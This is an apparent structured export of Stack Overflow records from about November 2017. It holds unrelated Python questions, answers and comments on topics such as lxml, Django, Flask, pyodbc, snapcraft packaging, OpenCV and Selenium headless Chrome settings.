has title: Additional information on numpy.einsum()
linked to: http://stackoverflow.com/q/26089893
tagged with: python
upvote count: 3
has answer: http://stackoverflow.com/a/47368237

http://stackoverflow.com/a/47316124
score: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47315502
answers question: http://stackoverflow.com/q/47315502
has comment: http://stackoverflow.com/comment/81583118
has body: In order for size = etree.SubElement(root, "size").text = "Child 3" to be evaluated as you expect it to be, it would have to be interpreted as: (size = etree.SubElement(root, "size")).text = "Child 3" In Python, you can't perform an assignment in an expression. Instead, the way Python interprets this is: size = "Child 3" etree.SubElement(root, "size").text = "Child 3" You could rewrite your code using two separate lines to achieve your desired result: size = etree.SubElement(root, "size") size.text = "Child 3" After looking through the lxml API, it does not appear to be a way way to both create an element and assign a value to the text attribute in a single line.
type: Answer
upvote count: 2

http://stackoverflow.com/comment/81623798
score: 0
comment on: http://stackoverflow.com/a/47335756
has text: BTW: other functions also draw in buffer - PyGame uses "double-buffering". See on wikipedia [Double buffering in computer graphics](https://en.wikipedia.org/wiki/Multiple_buffering#Double_buffering_in_computer_graphics)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81740643
has text: Great news !!! Glad to be able to help you.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47378429
type: QuestionComment

python-module
tags question: http://stackoverflow.com/q/47375153
type: Tag
tags question: http://stackoverflow.com/q/47297011
tag name: python-module
tags question: http://stackoverflow.com/q/47342850
tags question: http://stackoverflow.com/q/47325121

http://stackoverflow.com/q/47273018
accepted answer: http://stackoverflow.com/a/47285047
has answer: http://stackoverflow.com/a/47273038
has comment: http://stackoverflow.com/comment/81497247
has answer: http://stackoverflow.com/a/47285047
type: AnsweredQuestion
score: 0
has title: Read from file and call function
tagged with: python
has comment: http://stackoverflow.com/comment/81497151
has comment: http://stackoverflow.com/comment/81497339
has body: I have a task in which I need to read from text file and call a function. The text file is following: black,20,10,3,1 red,10,20,4,3 blue,10,-20,-4,3 My defined function takes five parameters, which are split in the text flile by commas. This is what I have so far: with open(textfile) as source: for i in source.readlines(): a = split(",") But here I have no idea how to call the function with the read line from source. Any ideas?
type: Question
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/81497020
has comment: http://stackoverflow.com/comment/81497031
possible better answer: http://stackoverflow.com/a/47273038

http://stackoverflow.com/q/47342305
has comment: http://stackoverflow.com/comment/81636802
score: 2
has answer: http://stackoverflow.com/a/47342351
downvote count: 0
has answer: http://stackoverflow.com/a/47342336
favorite count: 0
type: Question
answer count: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81636788
type: UnansweredQuestion
tagged with: python
has body: I put 2 arguments like this it said missing 1 required positional argument. I put 3 arguments it said it requires 2, but 3 were given. What is the issue with the logic below? def mergeSort(alist,sentence): if len(alist)&gt;1: mid = len(alist)//2 lefthalf = alist[:mid] righthalf = alist[mid:] mergeSort(lefthalf) mergeSort(righthalf) i=0 j=0 k=0 while i &lt; len(lefthalf) and j &lt; len(righthalf): if lefthalf[i] &lt; righthalf[j]: alist[k]=lefthalf[i] i=i+1 else: alist[k]=righthalf[j] j=j+1 k=k+1 while i &lt; len(lefthalf): alist[k]=lefthalf[i] i=i+1 k=k+1 while j &lt; len(righthalf): alist[k]=righthalf[j] j=j+1 k=k+1 print(sentence) return alist a=[7,5,4] mergeSort(a,'Finished')
has title: Defining super easy function with python but "missing 1 required positional argument"

http://stackoverflow.com/q/47238899
answer count: 1
type: Question
has body: Since the majority of our Data Science application work is on Python (flask) and R ( using rpy2) and Tornado web-server, is there any possibility I can integrate my current python code / application in Superset?
score: 0
tagged with: apache-superset
tagged with: rpy2
tagged with: python
has title: SuperSet Python intergration with R ( rpy2)
has answer: http://stackoverflow.com/a/47242266
type: UnansweredQuestion

http://stackoverflow.com/a/47233233
upvote count: 2
score: 2
has body: I believe you can accomplish this if you set these settings to None: LDAP_AUTH_CONNECTION_USERNAME = None LDAP_AUTH_CONNECTION_PASSWORD = None From the README: The LDAP username and password of a user for querying the LDAP database for user details. If None, then the authenticated user will be used for querying, and the ldap_sync_users command will perform an anonymous query. I haven't tested it with AD but it works with OpenLDAP. Good luck!
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47232227
answers question: http://stackoverflow.com/q/47232227
downvote count: 0
type: Answer

http://stackoverflow.com/a/47320223
score: 1
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/47320060
downvote count: 1
has body: from decimal import * getcontext().prec = 6 i = 9.600000000000001 newI = Decimal(i)/1 print(newI) returns 9.60000. However, float(newI) return 9.6, which is correct. The real question is do you want the actual value, in which case 9.60000 = 9.6, or just display 9.6 as 9.60000? In that case, the print solutions above will get you there.

http://stackoverflow.com/q/47260464
answer count: 1
tagged with: mysql
score: -6
favorite count: 0
type: Question
has body: I have a Django project where I have to solve the following task: client paste the phone number to the search field and application returns full address. If there is no requested address in database, it should be added to another database table of unknown numbers. So, when admin uploads the list of number-address pairs, application should check if everey number exists in database table of unknown numbers. And if exists - it should be removed. This database after some time will contain more than billion rows. My approach is to create two database tables: first - the main table with two columns: "number" and "address". For the column "number" I provide indexation for the faster searching for address. And second one - table with unknown numbers where will be single column "number" which also should be indexed. So, asking for help of experts: do I think right? Or what approach should be the best to solve this task? I can not ask you for deep answer, I just need to which direction I should move on. Thank you very much. I will be happy for any kind of help (comments, links etc).
tagged with: indexing
accepted answer: http://stackoverflow.com/a/47294746
upvote count: 0
has answer: http://stackoverflow.com/a/47294746
tagged with: database
tagged with: django
tagged with: python
downvote count: 6
type: AnsweredQuestion
has title: What approach should I use in mysql database designing that includes more than billion of rows to find particular value using minimum of time?
has comment: http://stackoverflow.com/comment/81472068

lightgbm
tags question: http://stackoverflow.com/q/47370240
tag name: lightgbm
type: Tag
tags question: http://stackoverflow.com/q/47342991
tags question: http://stackoverflow.com/q/47266152

http://stackoverflow.com/q/47355141
has title: DatabaseError: ('HY000', '[HY000] [Microsoft][ODBC SQL Server Driver]Connection is busy with results for another hstmt (0) (SQLExecDirectW)')
has answer: http://stackoverflow.com/a/58535615
tagged with: python
tagged with: pyodbc
has answer: http://stackoverflow.com/a/60904122
possible better answer: http://stackoverflow.com/a/60904122
answer count: 4
tagged with: sql-server
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/77869689
tagged with: pandas
accepted answer: http://stackoverflow.com/a/58535615
has comment: http://stackoverflow.com/comment/81664875
has body: I am trying to read data from SQL server into pandas data frame. Below is the code. def get_data(size): con = pyodbc.connect(r'driver={SQL Server}; server=SPROD_RPT01; database=Reporting') cur = con.cursor() db_cmd = "select distinct top %s * from dbo.KrishAnalyticsAllCalls" %size res = cur.execute(db_cmd) sql_out = pd.read_sql_query(db_cmd, con, chunksize=10**6) frames = [chunk for chunk in sql_out] df_sql = pd.concat(frames) return df_sql df = get_data(5000000) I am getting following error: pandas.io.sql.DatabaseError: Execution failed on sql 'select distinct top 500000 * from dbo.KrishAnalyticsAllCalls': ('HY000', '[HY000] [Microsoft][ODBC SQL Server Driver]Connection is busy with results for another hstmt (0) (SQLExecDirectW)') I had executed the function before and interrupted the execution with ctrl+k as I wanted to make a change in the function. Now, after making the change when I'm trying to execute the function I am getting the above error. How can I kill that connection/IPython Kernel since I don't know of any IPython Kernel running executing the query in the function?
has comment: http://stackoverflow.com/comment/81663702
score: 8
upvote count: 8
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/68308688

network-programming
tag name: network-programming
tags question: http://stackoverflow.com/q/47260056
tags question: http://stackoverflow.com/q/47334731
tags question: http://stackoverflow.com/q/47228102
tags question: http://stackoverflow.com/q/47280816
tags question: http://stackoverflow.com/q/47270175
tags question: http://stackoverflow.com/q/47319090
tags question: http://stackoverflow.com/q/47262193
tags question: http://stackoverflow.com/q/47244376
tags question: http://stackoverflow.com/q/47270367
type: Tag
tags question: http://stackoverflow.com/q/47338678
tags question: http://stackoverflow.com/q/47273184
tags question: http://stackoverflow.com/q/47229286

http://stackoverflow.com/comment/81627626
type: Comment
type: QuestionComment
has text: @WR made the edit.
comment on: http://stackoverflow.com/q/47332121
score: 0

http://stackoverflow.com/comment/81492014
has text: @SuperStew Here I was wondering why I can't find a dozen threads answering this very obvious, common problem...thanks, I'll try this.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47270409
score: 0

http://stackoverflow.com/comment/81440422
type: Comment
has text: If I remove the "raw_input" from my script and just put in: print 'hello world' this works just fine. It seems to not like the raw_input. Unsure why.
type: QuestionComment
comment on: http://stackoverflow.com/q/47244913
score: 0

http://stackoverflow.com/q/47327389
answer count: 1
accepted answer: http://stackoverflow.com/a/47328300
has answer: http://stackoverflow.com/a/47328300
tagged with: opencv
type: AnsweredQuestion
score: 0
tagged with: size
tagged with: python
tagged with: mask
type: Question
has body: I am trying to get the size of each separate object in this image so that I can separate them by size. My aim is to be able to loop through them and separate them by size. I have looked everywhere and can't really find anything anywhere. I have tried connected component analysis but I am unsure of how to retrieve size values from it. _, lab = cv2.connectedComponents(img)
has title: Get the size of each white object in an image python opencv

http://stackoverflow.com/q/47259776
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81470291
tagged with: python
has title: error in stationary wavelet transform python code
score: 0
has body: I want to perform the following operation in python to detect and remove shadows as given in attached document. (i) Convert the video frame from RGB to HSV (ii) Split the HSV into h,s,v (iii) Find the difference in h,s,v value of the reference and current frame (iv) Apply the stationary wavelet transform (SWT) to the difference s and v (v)perform the skew analysis on the wavelet output (vi)assign the value to the pixels based on skew and wavelet output (vii)Do the threshold operation to remove the shadows (viii)Apply inverse SWT to reconsrtuct the image REFERENCE PAPER I wrote the python script and got the following error while running swt command. File "F:/Shoba/shadow_spinger.py", line 37, in &lt;module&gt; swts=pywt.swt(diffs,'db1',level=None,start_level=None) File "C:\Users\pc13\Anaconda3\envs\pythonopencv\lib\site-packages‌​\pywt_swt.py", line 74, in swt ret = _swt_axis(data, wavelet, level, start_level, axis) File "pywt/_extensions/_swt.pyx", line 101, in pywt._extensions._swt.swt_axis (pywt_extensions_swt.c:5788) TypeError: an integer is required My code is given below: import numpy as np import cv2 import pywt from scipy.stats import skew cap = cv2.VideoCapture('cam4v.mp4') while(1): ret, frame = cap.read() hsvImg=cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) #cv2.imshow('hsvImg',hsvImg) h,s,v=cv2.split(hsvImg) diffh=cv2.absdiff(h[1],h[0]).astype(np.uint8) diffs=cv2.absdiff(s[1],s[0]).astype(np.uint8) diffv=cv2.absdiff(v[1],v[0]).astype(np.uint8) print("diffh: {0} ".format(diffh)) print("diffs: {0} ".format(diffs)) print("diffv: {0} ".format(diffv)) swts=pywt.swt(diffs,'haar',level=None,start_level=None) swtv=pywt.swt(diffv,'haar',level=None,start_level=None) skews=skew(swts) skewv=skew(swtv) swtv[skewv&gt;swtv] = 255 swtv[skewv&lt;swtv] = 0 swts[(skewv&gt;swtv) &amp; (skews&gt;swts)] = 255 swts[(skewv&lt;swtv) &amp; (skews&lt;swts)] = 0 iswts=pywt.iswt(swts,'haar',level=None,start_level=None,axes=None) iswtv=pywt.iswt(swtv,'haar',level=None,start_level=None,axes=N…
type: Question
has comment: http://stackoverflow.com/comment/81470999
tagged with: wavelet
answer count: 0

http://stackoverflow.com/comment/81652462
has text: The OP only wants to modify the 2nd item in each sublist, there's no need to check each item. And if any sublists contains more than 1 string then your code would modify them all, contrary to the specification.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47350276
score: 0

http://stackoverflow.com/q/47276270
has answer: http://stackoverflow.com/a/47276318
accepted answer: http://stackoverflow.com/a/47276318
type: AnsweredQuestion
score: 0
has title: Hosting Python Twilio server online?
answer count: 1
has body: I'm trying to complete an iOS Swift app that send SMS with custom body. I found the following tutorial and it worked for me, however, it requires having a running python server. Is there any site that you recommend where I can host the python server and access it remotely through the web? Are there any alternatives for doing this by skipping the python server and directly sending an HTTP request from the app? Note: This is in iOS 11 and Xcode 9 with latest version of Swift. I am also a beginner with HTTP requests and server stuff.
type: Question
tagged with: twilio
tagged with: server
tagged with: ios
tagged with: python

http://stackoverflow.com/a/47337708
has comment: http://stackoverflow.com/comment/81627570
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47337621
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81627700
has body: Well, one easy improvement would be to stop the inner loop after setting exclude = False -- right now you will continue through the loop unnecessarily. for obj in objects[1]: if obj['name'] not in obj_seg['name']: exclude = False break

http://stackoverflow.com/q/47232260
tagged with: ubuntu
has answer: http://stackoverflow.com/a/47233606
favorite count: 0
has comment: http://stackoverflow.com/comment/81417146
tagged with: snapcraft
score: 1
has title: How to create a Snap package?
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81416911
has body: I am trying to create a snap package of a Python app (trespass). I have uploaded it to pypi and it pip installs on Arch and Ubuntu, oddly to /usr/bin/trespass on Arch and to /usr/local/bin/trespass on Ubuntu. When I try to build the snap it fails. This is my first pypi package and first attempt at a snap. So it's highly likely I'm doing it wrong. Here is the dev directory on Arch [grahams@CQ5110F trespass]$ tree . ├── build │ ├── lib │ │ └── trespass │ │ └── trespass.py │ └── scripts-3.6 │ ├── trespass │ └── trespass.py ├── dist │ ├── trespass-0.6.5.4.tar.gz │ └── trespass-0.6.5.5.tar.gz ├── License ├── MANIFEST ├── README.md ├── README.txt ├── setup.cfg ├── setup.py └── trespass └── trespass My setup.py looks like this from distutils.core import setup setup( name = 'trespass', packages = ['trespass'], # this must be the same as the name above install_requires=[ 'numpy', 'pygpgme', 'pyperclip', 'argparse', ], version = '0.6.5.5', description = 'A secure password keeper', author = 'Graham Smith', author_email = 'gps1539@gmail.com', scripts = ['trespass/trespass'], license='GPL3', url = 'https://github.com/gps1539/trespass', # use the URL to the github repo download_url = 'https://github.com/gps1539/trespass/archive/0.1.tar.gz', keywords = ['testing', 'logging', 'example'], # arbitrary keywords classifiers = [], ) On Ubuntu my snapcraft.yaml looks like this. name: trespass version: '0.6.5.4' summary: A secure command line password keeper using gpg description: | grade: devel confinement: devmode apps: trespass: command: usr/bin/trespass parts: trespass: plugin: python python-version: python3 source: https://github.com/gps1539/trespass/archive/0.1.tar.gz build-packages: - python3-gpgme - python3-numpy - python3-pyperclip When I try to build I get the following output root@graham-VirtualBox:~/trespass-snap/snap# sudo snapcraft clean Cleaning up priming area Cleaning up staging area Cleaning up parts directory root@graham-VirtualBox:~/trespass-snap/snap# sudo snapcraft P…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/108558815
has comment: http://stackoverflow.com/comment/108605401
downvote count: 0
has comment: http://stackoverflow.com/comment/81415834
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81417327

http://stackoverflow.com/a/47251342
has body: use dict.iteritems() whenever you are trying to iterate over a dictionary In python3 use: dict.items() to iterate.
score: 2
answers question: http://stackoverflow.com/q/47250738
downvote count: 0
type: Answer
upvote count: 2

http://stackoverflow.com/comment/81433980
comment on: http://stackoverflow.com/q/47241414
type: Comment
type: QuestionComment
score: 0
has text: I see, I forgot "self" as an argument :) A.say(self)

hashmap
tags question: http://stackoverflow.com/q/47362602
tags question: http://stackoverflow.com/q/47248612
tag name: hashmap
type: Tag

http://stackoverflow.com/comment/81607469
type: AnswerComment
comment on: http://stackoverflow.com/a/47327637
has text: The [`UserCreationForm`](https://github.com/django/django/blob/1.11/django/contrib/auth/forms.py#L87) only includes the username in it's list of fields. You might have to override the `Meta` class and include email as well.
type: Comment
score: 0

http://stackoverflow.com/a/47353727
type: Answer
has comment: http://stackoverflow.com/comment/81662251
answers question: http://stackoverflow.com/q/47353555
score: 2
has comment: http://stackoverflow.com/comment/81659786
has body: I think you want a method random, instead to save the value directly in the variable, because if you do that, the value will never change: If you DON'T WANT A FUNCTION import random import enum class Gender(enum.Enum): MALE = 'male' FEMALE = 'female' RANDOM = random.choice([MALE, FEMALE]) def __getattribute__(self,item): if item == "RANDOM": Gender.RANDOM = random.choice([self.MALE, self.FEMALE]) return Gender.RANDOM else: return object.__getattribute__(self, item) gender = Gender() look: gender.RANDOM =&gt; 'female' gender.RANDOM =&gt; 'male' gender.RANDOM =&gt; 'male' gender.RANDOM =&gt; 'male' gender.RANDOM =&gt; 'female' gender.RANDOM =&gt; 'male' gender.RANDOM =&gt; 'male' gender.RANDOM =&gt; 'female'
has comment: http://stackoverflow.com/comment/81668007
downvote count: 1
has comment: http://stackoverflow.com/comment/81659746
has comment: http://stackoverflow.com/comment/81659711
has comment: http://stackoverflow.com/comment/81667095
upvote count: 3
has comment: http://stackoverflow.com/comment/81667102

http://stackoverflow.com/comment/81674701
has text: Actually, now that I think of it, I asked a similar question here, and the GitHub issue link is also mentioned by the answerer here! https://stackoverflow.com/questions/45928415/why-does-df-applytuple-work-but-not-df-applylist
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47360803
type: Comment

acl
tag name: acl
tags question: http://stackoverflow.com/q/47306972
type: Tag

http://stackoverflow.com/q/47255726
has comment: http://stackoverflow.com/comment/81462559
has comment: http://stackoverflow.com/comment/81490538
has comment: http://stackoverflow.com/comment/81462384
tagged with: python
accepted answer: http://stackoverflow.com/a/47277524
type: AnsweredQuestion
has body: I have 100 OrderedDicts like, foo = OrderedDict({ 'a': -0.1011, 'b': 3.2022, 'c': 0.0 }) where some of them are likely to be equal. For a list of 100 dicts like foo, I would like to find the indices of the unique items, where a given item is unique if its values are not equal to the values of any other dict, to a tolerance of 0.01. Importantly we can assume the order of the keys for all OrderedDicts in the list are the same. So I could do np.isclose(foo.values(), baz.values(), atol=0.01), but I'd have to loop through 10000 times to compare them all; actually less b/c I could on-the-fly ignore those that are found to be redundant. But is there a more efficient approach to doing this? Another approach is something like: uniques = {tuple(x.values()) for x in list_of_ord_dicts}, but how could I incorporate a tolerance here?
score: 0
answer count: 2
has title: Python OrderedDicts equal to a tolerance
has comment: http://stackoverflow.com/comment/81490313
has comment: http://stackoverflow.com/comment/81470935
has answer: http://stackoverflow.com/a/47277524
has answer: http://stackoverflow.com/a/47256740
possible better answer: http://stackoverflow.com/a/47256740
type: Question
tagged with: numpy

http://stackoverflow.com/q/47375596
has answer: http://stackoverflow.com/a/47379265
has answer: http://stackoverflow.com/a/47395742
tagged with: statistics
type: AnsweredQuestion
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/47379265
has title: create number of requests for a day having Poission arrival on an hourly basis in python
has body: let's say we have a service to which # of requests are coming and we are adding those requests on an hourly basis like from 12-1 and 1-2 etc. So what I want to do is to generate these number of requests which follow Poisson arrival and then add this to a dictionary representing a day of week monday = [hour_range, number_of_clients_in_that_hour] Then at the end, we will have these 7 dictionaries named from Mon to Sunday and on which some linear regression can be used to predict # of clients for next hour of a given day. So basically, as I am simulating this scenario in python, I need to make an arrival which will represent this kind of scenario. I have following code, using which I generate # of clients in an hour using uniform distribution. how can I do it for Poisson arrival or any other arrival which truly represents such scenario? My code is as follow day_names = ['mon','tue','wed','thurs','fri','sat','sun'] time_values = np.linspace(1,23,23,dtype='int') # print from 1,2...23 for day_iterator in range(1,7+1): number_of_clients = [] # create empty list that will hold number of clients for i in range(1,24,1): # lets create no. of clients for a day on an hourly basis in this for loop rand_value = random.randint(1,20) # generate number of clients number_of_clients.append(rand_value) # append the number of clients to this list # a single day data is generated after this for locals() [day_names[day_iterator-1]] = dict(zip(time_values,number_of_clients)) # create dict for each day of a week # print each day print "monday = %s"%mon print "tuesday = %s"%tue print "wed = %s"%wed print "thurs = %s"%thurs print "fri = %s"%fri print "sat = %s"%sat print "sun = %s"%sun plt.plot(mon.keys(),mon.values())
type: Question
tagged with: poisson
tagged with: python
accepted answer: http://stackoverflow.com/a/47395742

http://stackoverflow.com/comment/81643172
type: AnswerComment
comment on: http://stackoverflow.com/a/47345738
score: 0
type: Comment
has text: @AdamSmith , The code which on which he basing upon the question is actually a primality test too. I have gone by the code instead of the header

http://stackoverflow.com/q/47374913
tagged with: google-chrome-headless
has comment: http://stackoverflow.com/comment/83039185
favorite count: 0
linked to: http://stackoverflow.com/q/20806399
tagged with: headless
has title: How do I mimic or set plugin for Chrome Headless
tagged with: python
has comment: http://stackoverflow.com/comment/82889951
has answer: http://stackoverflow.com/a/66699884
type: Question
tagged with: python-3.x
has body: How do I mimic or set plugins length for Selenium chrome headless? I am following this guide I cannot find anything on doing this through Chrome options. The reason I want this is I want to make chrome headless as undetectable as possible. Try the following. Plugin length is still an issue. from selenium.webdriver.chrome.options import Options from selenium import webdriver options = Options() options.add_argument("--headless"); user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3240.0 Safari/537.36' options.add_argument(f'user-agent={user_agent}') options.add_argument("--lang=en-US,en"); driver = webdriver.Chrome(chrome_options=options) driver.get('https://intoli.com/blog/making-chrome-headless-undetectable/chrome-headless-test.html') driver.save_screenshot("screenshot5.png") driver.close() As you can see below, plugin length is still quite detectable. Is this possible or just a limitation of selenium python?
has comment: http://stackoverflow.com/comment/82981365
type: UnansweredQuestion
answer count: 1
tagged with: selenium
score: 6
upvote count: 7
has comment: http://stackoverflow.com/comment/82898066
downvote count: 1

doctest
type: Tag
tag name: doctest
tags question: http://stackoverflow.com/q/47353508
tags question: http://stackoverflow.com/q/47292288

http://stackoverflow.com/q/47331228
has comment: http://stackoverflow.com/comment/81613954
has answer: http://stackoverflow.com/a/47332171
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81614400
type: Question
tagged with: python
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/81614021
score: -1
has body: I tried to create a date frame with lists: lista_values = [2983, 2983, 5652, 12375, 13055, 26180] labels = ['00_04', '04_08', '08_12', '12_16', '16_20', '20_24'] lista_index = [datetime.datetime(2017, 11, 11, 0, 0)] df = pd.DataFrame(lista_values,index=lista_index,columns=labels) then my error: ValueError: Shape of passed values is (1, 6), indices imply (6, 1) How can I create a data frame with these lists, for example? I really don't understand why is out of bounds here if the columns and labels have same length
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/81614459
accepted answer: http://stackoverflow.com/a/47332171
has comment: http://stackoverflow.com/comment/81614901
downvote count: 2
answer count: 1
has title: filling a dateframe from a list

http://stackoverflow.com/comment/81439789
type: QuestionComment
comment on: http://stackoverflow.com/q/47244290
score: 0
has text: You may be trying to use virtual environments. Check out this documentation. https://conda.io/docs/user-guide/tasks/manage-environments.html
type: Comment

http://stackoverflow.com/q/47229802
possible better answer: http://stackoverflow.com/a/47230272
has answer: http://stackoverflow.com/a/47366819
has title: How to find the largest submatrix whose values are sorted both row-wise and column-wise?
has answer: http://stackoverflow.com/a/47230272
has comment: http://stackoverflow.com/comment/81410198
tagged with: python
has comment: http://stackoverflow.com/comment/81410165
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/81410104
answer count: 2
has body: Given a matrix, for example: [[2 5 3 8 3] [1 4 6 8 4] [3 6 7 9 5] [1 3 6 4 2] [2 6 4 3 1]] ...how to find the greatest sub-matrix (i.e. with most values) in which all rows are sorted and all columns are sorted? In the above example the solution would be the sub-matrix at (1,0)-(2,3): 1 4 6 8 3 6 7 9 and its size is 8.
upvote count: 3
has comment: http://stackoverflow.com/comment/81410154
has comment: http://stackoverflow.com/comment/81410341
has comment: http://stackoverflow.com/comment/81410125
has comment: http://stackoverflow.com/comment/81410207
has comment: http://stackoverflow.com/comment/81410141
downvote count: 1
accepted answer: http://stackoverflow.com/a/47366819
has comment: http://stackoverflow.com/comment/81410229
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/81481653
type: Comment
comment on: http://stackoverflow.com/a/47265338
has text: Will let you know
score: 0
type: AnswerComment

http://stackoverflow.com/q/47277374
has body: I am building a Flask app with a blueprint mounted on two different endpoint (one is a legacy alias to the other). In my blueprint class: ldp = Blueprint('ldp', __name__) @ldp.route('/&lt;path:uuid&gt;', methods=['GET']) @ldp.route('/', defaults={'uuid': None}, methods=['GET'], strict_slashes=False) def get_resource(uuid): # Route code... In my main server code: app = Flask(__name__) app.config.update(config['flask']) app.register_blueprint(ldp, url_prefix='/new_ep') # Legacy endpoint. @TODO Deprecate. app.register_blueprint(ldp, url_prefix='/old_ep') How can I get the actual URL of the request up to the /old_ep or /new_ep part in the route method, e.g. http://localhost:5000/new_ep? So far I have used request.host_url + request.path.split('/')[1] but it looks quite inelegant and possibly error-prone. I would like to use the information from the blueprint setup if possible. Thanks for your help. EDIT: I could get to the Blueprint instance from within the request with current_app.blueprints[request.blueprint] and I was hoping that the url_prefix attribute that I set when registering the blueprint was there, but it is None instead. As I read from the documentation for the supposedly related iter_blueprints() method, apparently these blueprints are listed without regard of how many times and with which parameters they were registered. Too bad.
has comment: http://stackoverflow.com/comment/81505997
has comment: http://stackoverflow.com/comment/81530072
tagged with: python
has comment: http://stackoverflow.com/comment/81506067
type: Question
score: 2
has comment: http://stackoverflow.com/comment/81530014
upvote count: 2
tagged with: wsgi
answer count: 1
downvote count: 0
has title: Flask: get current blueprint webroot
tagged with: flask
favorite count: 0
accepted answer: http://stackoverflow.com/a/47293870
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47293870

http://stackoverflow.com/comment/81697376
type: AnswerComment
type: Comment
has text: @COLDSPEED My original post included the detail that you have omitted. My follow up was to remind you that you didn't address the full question. Also, you are assuming that just because you don't have a better answer, I should accept the one you've given. I would like to remind you that Stackoverflow is about good answers and not just about points. I'm not accepting your answer just to get an up vote on my question. I'm not point-hungry like you.
comment on: http://stackoverflow.com/a/47331851
score: 0

http://stackoverflow.com/comment/81433204
type: Comment
type: QuestionComment
has text: You are not trying to summon Cthulhu by parsing html with regex, are you?
comment on: http://stackoverflow.com/q/47241229
score: 6

http://stackoverflow.com/a/47253030
downvote count: 0
has comment: http://stackoverflow.com/comment/81457068
accepted answer of: http://stackoverflow.com/q/47252852
type: Answer
answers question: http://stackoverflow.com/q/47252852
has body: You can use random.choice instead of shuffle. choice = random.choice(list(dictionary.keys())) shuffle changes the list you send into the function and since you don't save a reference to that list, you don't get anything. Also, it only generates a shuffled version of that list and not a single value. alist = [1,2,3,4,5,6] random.shuffle(alist) print(alist) &gt;&gt; [2, 5, 6, 4, 3, 1]
has comment: http://stackoverflow.com/comment/81456240
has comment: http://stackoverflow.com/comment/81456452
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81456394
score: 3
upvote count: 3

http://stackoverflow.com/comment/81620982
score: 0
type: AnswerComment
has text: ah! perfect ... this worked great ; thank you so much
type: Comment
comment on: http://stackoverflow.com/a/47334123

http://stackoverflow.com/comment/81614901
type: Comment
comment on: http://stackoverflow.com/q/47331228
type: QuestionComment
score: 0
has text: @AntonvBR oi agora coloquei somente o necessario. Now I have written only the basics

http://stackoverflow.com/a/47362093
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81677589
has body: Yes, and that datatype is just set. The trick is that the inside sets have to be frozensets, the immutable counterpart of set, for them to be placed inside another set. You may also want to make the outer set a frozenset, depending on what you want to do with it; for example, if you want to stick these sets inside more layers of sets indefinitely, it's probably easier to go with frozensets for everything. &gt;&gt;&gt; A = frozenset(['a', 'b']) &gt;&gt;&gt; B = frozenset(['b', 'a']) &gt;&gt;&gt; C = {A, B} &gt;&gt;&gt; C set([frozenset(['a', 'b'])])
accepted answer of: http://stackoverflow.com/q/47361975
type: Answer
has comment: http://stackoverflow.com/comment/81677363
answers question: http://stackoverflow.com/q/47361975
has comment: http://stackoverflow.com/comment/81677263
has comment: http://stackoverflow.com/comment/81677225

http://stackoverflow.com/q/47256177
has body: I started this Django project. Created an app called newsletter. This is my models.py: from django.db import models # Create your models here. class SignUp(models.Model): email = models.EmailField() full_name = models.CharField(max_length=120, blank=False, null=True) timestamp = models.DateTimeField(auto_now_add=True, auto_now=False) updated = models.DateTimeField(auto_now_add=False, auto_now=True) def __str__(self): return self.email This is my admin.py: from django.contrib import admin # Register your models here. from .forms import SignUpForm from .models import SignUp class SignUpAdmin(admin.ModelAdmin): list_display = ["__str__", "timestamp", "updated"] form = SignUpForm #class Meta: # model = SignUp admin.site.register(SignUp, SignUpAdmin) Then i opened a forms.py: from django import forms from .model import SignUp class SignUpForm(forms.ModelForm): class Meta: model = SignUp fields = ['email'] The problems is, when i tried to runserver, it gave me the error: File "C:\Users\JOSHUA\Documents\trydjango18\src\newsletter\admin.py", line 4, in &lt;module&gt; from .forms import SignUpForm File "C:\Users\JOSHUA\Documents\trydjango18\src\newsletter\forms.py", line 3, in &lt;module&gt; from .model import SignUp ModuleNotFoundError: No module named 'newsletter.model' Someone please help.
tagged with: django-models
tagged with: python
tagged with: django-forms
has answer: http://stackoverflow.com/a/47256247
type: UnansweredQuestion
answer count: 1
tagged with: django
type: Question
score: 0
has title: ModuleNotFoundError: No module named 'newsletter.model' in my Django project

http://stackoverflow.com/comment/81424345
type: AnswerComment
comment on: http://stackoverflow.com/a/47236870
score: 0
has text: The first number if the count the times the loop will accept input. Please check my code. It is working but is not optimized as it is taking hell lot of time.
type: Comment

http://stackoverflow.com/comment/81474337
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47260848
has text: @Arun I checked the logs and they were logged on an instance with the same id, 1 minute and 18 seconds apart. So if scaling were the issue, then at least the second one should have been logged to StackDriver Error Reporting. Alas..
score: 0

http://stackoverflow.com/a/66679101
type: Answer
answers question: http://stackoverflow.com/q/47266383
downvote count: 0
